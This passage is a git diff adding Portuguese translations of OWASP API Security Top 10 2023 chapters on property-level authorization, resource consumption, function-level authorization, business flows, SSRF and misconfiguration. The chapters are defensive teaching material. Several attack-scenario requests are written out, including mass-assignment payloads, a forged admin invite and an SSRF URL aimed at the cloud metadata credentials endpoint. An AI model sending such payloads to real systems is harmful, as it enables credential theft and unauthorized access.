Sheet][4] +* [Credential Stuffing][5] + +### Externas + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..e6573388a --- /dev/null +++ b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,152 @@ +# API3:2023 Broken Object Property Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Moderado** : Específico Negócio | +| As APIs tendem a expor _endpoints_ que devolvem todas as propriedades do objeto. Isto é especialmente válido para APIs REST. Para outros protocolos como o GraphQL, pode ser necessário enviar pedidos elaborados para especificar que propriedades devem ser devolvidas. Identificar estas propriedades adicionais que podem ser manipuladas requer mais esforço, mas existem algumas ferramentas automatizadas disponíveis para ajudar nesta tarefa. | Inspecionar as respostas da API é suficiente para identificar informações sensíveis nas representações dos objetos devolvidos. _Fuzzing_ é geralmente usado para identificar propriedades adicionais (ocultas). Determinar se podem ser alteradas depende da elaboração de um pedido à API e da análise da resposta. Pode ser necessária uma análise de efeitos secundários se a propriedade alvo não for devolvida na resposta da API. | O acesso não autorizado a propriedades privadas/sensíveis de objetos pode resultar na divulgação de dados, perda de dados ou corrupção de dados. Em certas circunstâncias, o acesso não autorizado a propriedades de objetos pode levar a elevação de privilégios ou a apropriação parcial/completa de conta. | + +## A API é vulnerável? + +Ao permitir que um utilizador aceda a um objeto através de um _endpoint_ da API, +é importante validar que o utilizador tem acesso às propriedades específicas do +objeto que está a tentar aceder. + +Um _endpoint_ de uma API é vulnerável se: + +* O _endpoint_ da API expõe propriedades de um objeto que são consideradas + sensíveis e não devem ser lidas pelo utilizador. (anteriormente denominado: + "[Excessive Data Exposure][1]") +* O _endpoint_ da API permite que um utilizador altere, adicione ou elimine o + valor de uma propriedade sensível de um objeto ao qual o utilizador não deve + ter acesso. (anteriormente denominado: "[Mass Assignment][2]") + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma aplicação de encontros permite a um utilizador denunciar outros utilizadores +por comportamento inadequado. Como parte deste processo, o utilizador clica num +botão de 'denúncia', e é desencadeada a seguinte chamada de API: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +O endpoint da API é vulnerável porque permite que o utilizador autenticado tenha +acesso a propriedades sensíveis do utilizador denunciado, como "fullName" (nome +completo) e "recentLocation" (localização recente), que não deveriam estar +acessíveis a outros utilizadores. + +### Cenário #2 + +Uma plataforma de mercado online, que permite a um tipo de utilizadores +('anfitriões') alugar o seu apartamento a outro tipo de utilizadores +('hóspedes'), requer que o anfitrião aceite uma reserva feita por um hóspede +antes de cobrar ao hóspede pela estadia. + +Como parte deste processo, é feito um pedido de API pelo anfitrião para +`POST /api/host/approve_booking` com o seguinte conteúdo legítimo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +O anfitrião reenvia o pedido legítimo e adiciona o seguinte conteúdo malicioso: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +O _endpoint_ da API é vulnerável porque não há validação de que o anfitrião +deve ter acesso à propriedade interna do objeto - `total_stay_price`, e o +hóspede vai ser cobrado mais do que deveria. + +### Cenário #3 + +Uma rede social baseada em vídeos curtos, impõe filtros restritivos de conteúdo +e censura. Mesmo que um vídeo carregado seja bloqueado, o utilizador pode +alterar a descrição do vídeo utilizando o seguinte pedido à API: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Um utilizador frustrado pode reenviar o pedido legítimo e adicionar o seguinte +conteúdo malicioso: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +O _endpoint_ da API é vulnerável porque não há validação se o utilizador deve +ter acesso à propriedade interna do objeto - `blocked`, e o utilizador pode +alterar o valor de `true` para `false` e desbloquear o seu próprio conteúdo +bloqueado. + +## Como Prevenir + +* Ao expor um objeto através de um _endpoint_ da API, certifique-se sempre de + que o utilizador deve ter acesso às propriedades do objeto que expõe. +* Evite usar métodos genéricos como `to_json()` e `to_string()`. Em vez disso, + selecione especificamente as propriedades do objeto que deseja retornar. +* Se possível, evite usar funções que automaticamente vinculem os dados + provenientes do cliente em variáveis de código, objetos internos ou + propriedades de objetos ("Mass Assignment"). +* Permita alterações apenas nas propriedades do objeto que devam ser + atualizadas pelo cliente. +* Implemente um mecanismo de validação de resposta baseado num esquema como uma + camada extra de segurança. Como parte deste mecanismo, defina e imponha que + dados são retornados por todos os métodos da API. +* Mantenha as estruturas de dados retornadas ao mínimo essencial, de acordo com + os requisitos comerciais/funcionais para o _endpoint_. + +## Referências + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externas + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1d9f4e933 --- /dev/null +++ b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,177 @@ +# API4:2023 Unrestricted Resource Consumption + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Moderado** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| A exploração requer pedidos simples de API. Múltiplos pedidos concorrentes podem ser feitos a partir de um único computador local ou utilizando recursos de computação em nuvem. A maioria das ferramentas automatizadas disponíveis são projetadas para causar DoS (Negação de Serviço) através de altas cargas de tráfego, afetando a taxa de serviço das APIs. | É comum encontrar APIs que não limitam as interações do cliente ou o consumo de recursos. Pedidos de API elaborados, como aqueles que incluem parâmetros que controlam o número de recursos a serem retornados e realizam análises de estado/tempo/comprimento de resposta, devem permitir a identificação do problema. O mesmo vale para operações em quantidade. Embora os agentes maliciosos não tenham visibilidade sobre o impacto nos custos, isso pode ser inferido com base no modelo de negócios/preços dos fornecedores de serviços (e.g. fornecedor de nuvem). | A exploração pode levar a uma Negação de Serviço (DoS) devido à escassez de recursos, mas também pode resultar num aumento dos custos operacionais, como os relacionados à infraestrutura devido à maior exigência de CPU, aumento das necessidades de armazenamento em nuvem, etc. | + +## A API é vulnerável? + +Para atender aos pedidos feitos à API, são necessários recursos como largura de +banda de rede, CPU, memória e armazenamento. Às vezes, os recursos necessários +são disponibilizados por provedores de serviços por meio de integrações de API +e são pagos por pedido, como o envio de emails/SMS/chamadas telefónicas, +validação biométrica, etc. + +Uma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou +definido inadequadamente (e.g. muito baixo/alto): + +* Tempos limite de execução +* Memória máxima alocável +* Número máximo de descritores de ficheiro +* Número máximo de processos +* Tamanho máximo de upload de ficheiro +* Número de operações a serem realizadas num único pedido do cliente da API + (e.g. agrupamento GraphQL) +* Número de registros por página a serem retornados num único pedido-resposta +* Limite de gastos de provedores de serviços terceiros + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de "recuperar senha" através da +verificação por SMS, permitindo que o utilizador receba um _token_ de uso único +via SMS para redefinir a sua senha. + +Uma vez que o utilizador clica em "recuperar senha", é feita uma chamada API a +partir do navegador do utilizador para a API de _back-end_: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Em seguida, nos bastidores, é feita uma chamada API do _back-end_ para uma API +de terceiros que se encarrega da entrega do SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +O fornecedor de terceiros, Willyo, cobra $0.05 por este tipo de chamada. + +Um atacante escreve código que envia a primeira chamada API dezenas de milhares +de vezes. O _back-end_ prossegue e solicita à Willyo que envie dezenas de +milhares de mensagens de texto, levando a empresa a perder milhares de dólares +em questão de minutos. + +### Cenário #2 + +Um _endpoint_ de API GraphQL permite que o utilizador carregue uma foto de +perfil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Uma vez concluído o carregamento, a API gera múltiplas miniaturas com diferentes +tamanhos com base na imagem carregada. Esta operação gráfica consome muita +memória do servidor. + +A API implementa uma proteção tradicional de limitação de quantidade de pedidos +- um utilizador não pode aceder ao _endpoint_ GraphQL demasiadas vezes num curto +período de tempo. A API também verifica o tamanho da imagem carregada antes de +gerar as miniaturas para evitar o processamento de imagens demasiado grandes. + +Um atacante pode facilmente contornar esses mecanismos, aproveitando a natureza +flexível do GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Como a API não limita o número de vezes que a operação `uploadPic` pode ser +tentada, a chamada levará ao esgotamento da memória do servidor e à negação de +serviço (_Denial of Service_). + +### Cenário #3 + +Um prestador de serviços permite que os clientes descarreguem ficheiros +arbitrariamente grandes através da sua API. Estes ficheiros são mantidos em +armazenamento de objetos na nuvem e não mudam com frequência. O prestador de +serviços depende de um serviço de _cache_ para melhorar a velocidade do serviço +e manter o consumo de largura de banda baixo. O serviço de _cache_ apenas +armazena ficheiros até 15GB. + +Quando um dos ficheiros é atualizado, o seu tamanho aumenta para 18GB. Todos os +clientes do serviço começam imediatamente a descarregar a nova versão. Como não +havia alertas de custo de consumo, nem um limite máximo de custo para o serviço +de nuvem, a fatura mensal seguinte aumenta de 13 dólares, em média, para 8 mil +dólares. + +## Como Prevenir + +* Utilize uma solução que facilite a limitação de [memória][1], [CPU][2], + [número de reinícios][3], [descritores de ficheiros e processos][4], como + Containers / Código Serverless (e.g. Lambdas). +* Defina e force um tamanho máximo de dados em todos os parâmetros e conteúdos + de entrada, como comprimento máximo para _strings_, número máximo de + elementos em arrays e tamanho máximo de ficheiro para _upload_ + (independentemente de ser armazenado localmente ou na nuvem). +* Implemente um limite de frequência com que um cliente pode interagir com a API + dentro de um período temporal definido (_rate limiting_). +* A limitação de pedidos deve ser ajustada com base nas necessidades do negócio. + Alguns endpoints da API podem exigir políticas mais rigorosas. +* Limite/controle quantas vezes ou com que frequência um único + cliente/utilizador da API pode executar uma única operação (e.g. validar um + OTP ou solicitar a recuperação de senha sem visitar o URL de uso único). +* Adicione validação adequada no lado do servidor para parâmetros da + _query string_ e do corpo do pedido, especificamente aqueles que controlam o + número de resultados a serem retornados na resposta. +* Configure limites de gastos para todos os fornecedores de serviços/integrações + de API. Quando não for possível definir limites de gastos, devem ser + configurados alertas de faturamento. + +## Referências + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externas + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..91039d83f --- /dev/null +++ b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md @@ -0,0 +1,103 @@ +# API5:2023 Broken Function Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao _endpoint_ da API ao qual não é suposto ter acesso como utilizadores anónimos, ordinários ou não privilegiados. _Endpoints_ expostos serão facilmente explorados. | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração ou ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquias (e.g. sub-utilizadores, utilizadores com mais do que um perfil). É mais fácil descobrir estas falhas em APIs dado que APIs são mais estruturadas, e aceder a diferentes funções é mais previsível. | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataqueo que pode levar a divulgação de dados, perda de dados, ou corrupção de dados. Por último, pode dar aso a uma disrupção de serviço. | + +## A API é vulnerável? + +A melhor forma de identificar falhas de verificação de autorização de acesso a +funções é através duma análise detalhada do mecanismo de autorização, devendo +ter-se em consideração o esquema de hierarquia de utilizadores, diferentes +perfis ou grupos e questionando continuamente: + +* Utilizadores ordinários podem aceder aos _endpoints_ de administração? +* Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou + apagar) para as quais não deveriam ter acesso, alterando simplesmente o método + HTTP (e.g. alterando de `GET` para `DELETE`)? +* Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y, + adivinhando o URL do _endpoint_ e os parâmetros (e.g. + `/api/v1/users/export_all`)? + +Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no +URL. + +Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se +_endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ +ordinários e.g. `api/users`. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Durante o processo de registo para uma aplicação que permite apenas a adesão +de utilizadores convidados, a aplicação móvel faz uma chamada de API para +`GET /api/invites/{invite_guid}`. A resposta contém um JSON com detalhes sobre +o convite, incluindo o perfil do utilizador e o email do utilizador. + +Um atacante duplica o pedido e manipula o método HTTP e o _endpoint_ para +`POST /api/invites/new`. Este _endpoint_ deveria ser usado apenas por +administradores através da consola de administração. O _endpoint_ não implementa +verificações de autorização de acesso à função. + +O atacante explora a falha e envia um novo convite com privilégios de +administrador: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Mais tarde, o atacante usa o convite criado maliciosamente para criar uma conta +de administrador e obter acesso total ao sistema. + +### Cenário #2 + +Uma API contém um _endpoint_ que deveria ser exposto apenas a administradores - +`GET /api/admin/v1/users/all`. Este _endpoint_ retorna os detalhes de todos os +utilizadores da aplicação e não implementa verificações de autorização de acesso +à função. Um atacante que aprendeu sobre a estrutura da API faz uma suposição +informada e consegue aceder a este _endpoint_, expondo detalhes sensíveis dos +utilizadores da aplicação. + +## Como Prevenir + +A sua API deve usar um módulo de autorização consistente e fácil de analisar, o +qual deve ser invocado por todas as funções de negócio. Frequentemente, este +tipo de proteção é oferecido por um ou mais componentes externos à lógica +aplicacional. + +* Por omissão todos os acesso devem ser negados, exigindo que permissões + específicas sejam concedidas a perfis específicos para acesso a cada função. +* Rever todos os _endpoints_ à procura de falhas ao nível da verificação de + autorização de acesso a funções, tendo sempre em consideração a lógica de + negócio da aplicação e hierarquia dos grupos. +* Assegurar que todos os controladores administrativos herdam de um controlador + administrativo base que implementa as verificações de autorização com base no + grupo/perfil do utilizador. +* Assegurar que funções administrativas num controlador ordinário implementam + elas próprias as verificações de autorização baseadas no grupo e perfil do + utilizador. + +## Referências + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externas + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..e20a5553c --- /dev/null +++ b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,113 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| A exploração geralmente envolve entender o modelo de negócio suportado pela API, encontrar fluxos de negócio sensíveis e automatizar o acesso a esses fluxos, causando danos ao negócio. | A falta de uma visão holística da API para suportar plenamente os requisitos de negócio tende a contribuir para a prevalência deste problema. Os atacantes identificam manualmente quais recursos (e.g. _endpoints_) estão envolvidos no fluxo de trabalho alvo e como funcionam em conjunto. Se já existirem mecanismos de mitigação, os atacantes precisam encontrar uma maneira de os contornar. | Em geral, não se espera um impacto técnico significativo. A exploração pode prejudicar o negócio de diferentes maneiras, por exemplo: impedir que utilizadores legítimos comprem um produto ou levar a uma inflação na economia interna de um jogo. | + +## A API é vulnerável? + +Ao criar um _endpoint_ de API, é importante entender qual fluxo de negócio ele +expõe. Alguns fluxos de negócio são mais sensíveis do que outros, no sentido de +que o acesso excessivo a eles pode prejudicar o negócio. + +Exemplos comuns de fluxos de negócios sensíveis e o risco de acesso excessivo +associado a eles: + +* Fluxo de compra de um produto - um atacante pode comprar todo o stock de um + item de alta procura de uma só vez e revendê-lo por um preço mais alto + (scalping). +* Fluxo de criação de comentário/publicação - um atacante pode inundar o sistema + com spam. +* Realização de uma reserva - um atacante pode reservar todos os horários +* disponíveis e impedir que outros utilizadores utilizem o sistema. + +O risco de acesso excessivo pode variar entre indústrias e empresas. Por +exemplo, a criação de publicações através de um script pode ser considerada um +risco de spam por uma rede social, mas incentivada por outra rede social. + +Um endpoint de API está vulnerável se expõe um fluxo de negócio sensível sem +restringir adequadamente o acesso a ele. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma empresa de tecnologia anuncia que vai lançar uma nova consola de jogos no +Dia de Ação de Graças. O produto tem uma procura muito alta e o stock é +limitado. Um atacante escreve código para comprar automaticamente o novo produto +e concluir a transação. + +No dia do lançamento, o atacante executa o código distribuído por diferentes +endereços IP e localizações. A API não implementa a proteção adequada e permite +que o atacante compre a maior parte do stock antes de outros utilizadores +legítimos. + +Mais tarde, o atacante vende o produto noutra plataforma por um preço muito mais +alto. + +### Cenário #2 + +Uma companhia aérea oferece a compra de bilhetes online sem taxa de +cancelamento. Um utilizador com intenções maliciosas reserva 90% dos assentos de +um voo desejado. + +Alguns dias antes do voo, o utilizador malicioso cancelou todos os bilhetes de +uma vez, o que obrigou a companhia aérea a baixar os preços dos bilhetes para +preencher o voo. + +Deste modo, o utilizador consegue comprar um bilhete que está muito mais barato +do que o original. + +### Cenário #3 + +Uma aplicação de partilha de boleias oferece um programa de referência - os +utilizadores podem convidar os seus amigos e ganhar crédito por cada amigo que +se juntar à aplicação. Este crédito pode ser posteriormente utilizado como +dinheiro para reservar viagens. + +Um atacante explora este fluxo escrevendo um script para automatizar o processo +de registo, com cada novo utilizador a adicionar crédito à carteira do atacante. + +O atacante pode posteriormente usufruir de viagens gratuitas ou vender as contas +com créditos excessivos por dinheiro. + +## Como Prevenir + +O planeamento da mitigação deve ser feito em duas camadas: + +* Negócio - identificar os fluxos de negócio que podem prejudicar a empresa se + forem utilizados em excesso. +* Engenharia - escolher os mecanismos de proteção adequados para mitigar o risco + empresarial. + + Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais + difíceis de implementar. Os seguintes métodos são utilizados para desacelerar + ameaças automatizadas: + + * _Fingerprinting_ de dispositivos: negar serviço a dispositivos de cliente + inesperados (e.g. navegadores _headless_) tende a fazer com que os atacantes + usem soluções mais sofisticadas, tornando-as mais caras para eles. + * Deteção humana: utilize _captcha_ ou soluções biométricas mais avançadas + (e.g. padrões de digitação). + * Padrões não humanos: analisar o fluxo do utilizador para detetar padrões + não humanos (e.g. o utilizador acedeu às funções "adicionar ao carrinho" e + "finalizar compra" em menos de um segundo). + * Considere bloquear endereços IP de nós de saída da rede Tor e proxies bem + conhecidos. + + Proteja e limite o acesso às APIs que são consumidas diretamente por máquinas + (como APIs para desenvolvedores e B2B). Elas tendem a ser um alvo fácil para + atacantes, pois muitas vezes não implementam todos os mecanismos de proteção + necessários. + +## Referências + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/pt-pt/0xa7-server-side-request-forgery.md b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..ea8d7ffac --- /dev/null +++ b/editions/2023/pt-pt/0xa7-server-side-request-forgery.md @@ -0,0 +1,164 @@ +# API7:2023 Server Side Request Forgery + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Detectability **Fácil** | Técnico **Moderado** : Específico do Negócio | +| A exploração requer que o atacante encontre um _endpoint_ da API que aceda a um URI fornecido pelo cliente. Em geral, SSRF básico (quando a resposta é retornada ao atacante) é mais fácil de explorar do que _Blind_ SSRF, em que o atacante não tem feedback sobre se o ataque foi bem sucedido ou não. | Os conceitos modernos no desenvolvimento de aplicações incentivam os desenvolvedores a aceder a URIs fornecidos pelo cliente. A falta de validação ou a validação inadequada desses URIs são problemas comuns. Será necessária a análise regular de solicitações e respostas da API para detetar o problema. Quando a resposta não é retornada (_Blind_ SSRF), a deteção da vulnerabilidade exige mais esforço e criatividade. | A exploração bem sucedida pode levar à enumeração de serviços internos (e.g. scan de portas), divulgação de informações, bypass de firewalls ou outros mecanismos de segurança. Em alguns casos, pode levar a DoS ou ao uso do servidor como um proxy para ocultar atividades maliciosas. | + +## A API é vulnerável? + +Falhas de Server-Side Request Forgery (SSRF) ocorrem quando uma API pede um +recurso remoto sem validar o URL fornecido pelo utilizador. Isso permite que um +atacante force a aplicação a enviar um pedido manipulado para um destino +inesperado, mesmo quando protegido por uma firewall ou uma VPN. + +Os conceitos modernos no desenvolvimento de aplicações tornam o SSRF mais comum +e mais perigoso. + +Mais comum - os seguintes conceitos incentivam os desenvolvedores a aceder a +recursos externos com base em entradas de utilizadores: Webhooks, download de +ficheiros a partir de URLs, SSO personalizado e pré-visualização de URLs. + +Mais perigoso - Tecnologias modernas como provedores de nuvem, Kubernetes e +Docker expõem canais de gestão e controle via HTTP em caminhos previsíveis e +bem conhecidos. Esses canais são um alvo fácil para um ataque SSRF. + +Também é mais desafiador limitar o tráfego de saída da sua aplicação, devido à +natureza conectada das aplicações modernas. + +O risco de SSRF nem sempre pode ser completamente eliminado. Ao escolher um +mecanismo de proteção, é importante considerar os riscos e necessidades do +negócio. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social permite que os utilizadores façam o upload de fotos de perfil. +O utilizador pode escolher entre carregar o ficheiro de imagem do seu +dispositivo ou fornecer o URL da imagem. Escolher a segunda opção irá acionar a +seguinte chamada API: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Um atacante pode enviar um URL malicioso e iniciar um _scan_ de portas +dentro da rede interna usando o _endpoint_ da API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Com base no tempo de resposta, o atacante pode descobrir se a porta está +aberta ou não. + +### Cenário #2 + +Um produto de segurança gera eventos quando detecta anomalias na rede. +Algumas equipas preferem rever os eventos num sistema de monitorização mais +amplo e genérico, como um SIEM (Gestão de Informações e Eventos de Segurança). +Para este fim, o produto fornece integração com outros sistemas usando +_webhooks_. + +Como parte da criação de um novo _webhook_, uma mutação GraphQL é enviada com o +URL da API do SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Durante o processo de criação, o _back-end_ da API envia um pedido de teste para o +URL do webhook fornecido e apresenta a resposta ao utilizador. + +Um atacante pode explorar este fluxo e fazer com que a API solicite um recurso +sensível, como um serviço de metadados de nuvem interna que expõe credenciais: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Uma vez que a aplicação mostra a resposta do pedido de teste, o atacante pode +visualizar as credenciais do ambiente de nuvem. + +## Como Prevenir + +* Isole o mecanismo de obtenção de recursos na sua rede: geralmente, essas + funcionalidades são destinadas a recuperar recursos remotos e não internos. +* Sempre que possível, utilize listas de permissões de: + * Origens remotas das quais se espera que os utilizadores façam download de + recursos (por exemplo, Google Drive, Gravatar, etc.) + * Esquemas de URL e portas + * Tipos de media aceites para uma determinada funcionalidade +* Desative redirecionamentos HTTP. +* Utilize um URL _parser_ bem testado e mantido para evitar problemas causados +por inconsistências no processamento de URLs. +* Valide e sanitize todos os dados de entrada fornecidos pelo cliente. +* Não envie respostas não tratadas aos clientes. + +## Referências + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externas + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/pt-pt/0xa8-security-misconfiguration.md b/editions/2023/pt-pt/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..c1a7a3bee --- /dev/null +++ b/editions/2023/pt-pt/0xa8-security-misconfiguration.md @@ -0,0 +1,139 @@ +# API8:2023 Security Misconfiguration + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Detectability **Fácil** | Técnico **Severo** : Específico do Negócio | +| Os atacantes frequentemente tentam encontrar falhas não corrigidas, _endpoints_ comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os _exploits_ podem estar disponíveis. | A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. | As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor. | + +## A API é vulnerável? + +A API pode ser vulnerável se: + +* As devidas proteções de segurança não foram aplicadas em qualquer parte da + API, ou se houver permissões mal configuradas em serviços de nuvem. +* Os últimos _patches_ de segurança estão em 